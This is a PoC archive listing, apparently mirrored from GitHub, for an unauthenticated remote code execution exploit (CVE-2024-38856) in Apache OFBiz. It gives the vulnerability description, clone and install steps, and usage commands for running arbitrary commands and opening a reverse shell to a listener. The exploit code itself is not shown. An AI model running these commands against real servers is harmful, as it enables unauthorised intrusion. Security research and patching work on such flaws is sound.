Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-38856 PoC — Apache OFBiz: Unauthenticated endpoint could allow execution of screen rendering code

Source
Associated Vulnerability
Title:Apache OFBiz: Unauthenticated endpoint could allow execution of screen rendering code (CVE-2024-38856)
Description:Incorrect Authorization vulnerability in Apache OFBiz. This issue affects Apache OFBiz: through 18.12.14. Users are recommended to upgrade to version 18.12.15, which fixes the issue. Unauthenticated endpoints could allow execution of screen rendering code of screens if some preconditions are met (such as when the screen definitions don't explicitly check user's permissions because they rely on the configuration of their endpoints).
Description
Exploit for Apache OFBiz - CVE-2024-38856
Readme

# Apache-OFBiz-Exploit
Exploit for Apache OFBiz (CVE-2024-38856)
By: **Alisson Faoli**

## Description

This repository contains an exploit for the CVE-2024-38856 vulnerability found in Apache OFBiz. The flaw allows Unauthenticated RCE (Remote Code Execution).

Note: This exploit is provided for educational and research purposes only. Misuse may be illegal and is the sole responsibility of the user.

## Vulnerability Details

CVE: **CVE-2024-38856**

Affected Software: Apache OFBiz up to version 18.12.14

Vulnerability Type: RCE

Exploitation: Authentication not required

## References: 

 - https://www.zscaler.com/blogs/security-research/cve-2024-38856-pre-auth-rce-vulnerability-apache-ofbiz
 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38856
 - https://www.cyfirma.com/research/cve-2024-38856-pre-authentication-remote-code-execution-rce-vulnerability-analysis-and-exploitation/

## Usage

Clone the repository:
```
git clone https://github.com/AlissonFaoli/Apache-OFBiz-Exploit.git
cd Apache-OFBiz-Exploit
```
Install the dependencies:
```
pip install -r requirements.txt
```
Run the exploit:

**RCE**:
```python3 CVE-2024-38856.py cmd -t https://10.150.10.200:8443 "whoami"```

**SHELL**:
```python3 CVE-2024-38856.py shell -t https://10.150.10.200:8443 -l 10.150.10.123 -p 4444```


## Mitigation
To remediate this vulnerability, it is recommended that Apache OFBiz administrators:
Update to the patched version available at [link to fix].
Apply firewall or WAF rules to block known exploitation attempts.

## Contact
If you have any questions or want to report an improvement to the exploit, contact me:
LinkedIn: https://linkedin.com/in/alisson-faoli/

#
#### Legal Disclaimer:
This code is provided solely for educational purposes and security testing in authorized environments. The author is not responsible for any misuse.
File Snapshot

[4.0K] /data/pocs/ba8fd285fa2b96e89df17924cc326e54f57eb227 ├── [3.0K] CVE-2024-38856.py ├── [6.9K] LICENSE ├── [1.8K] README.md └── [ 17] requirements.txt 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →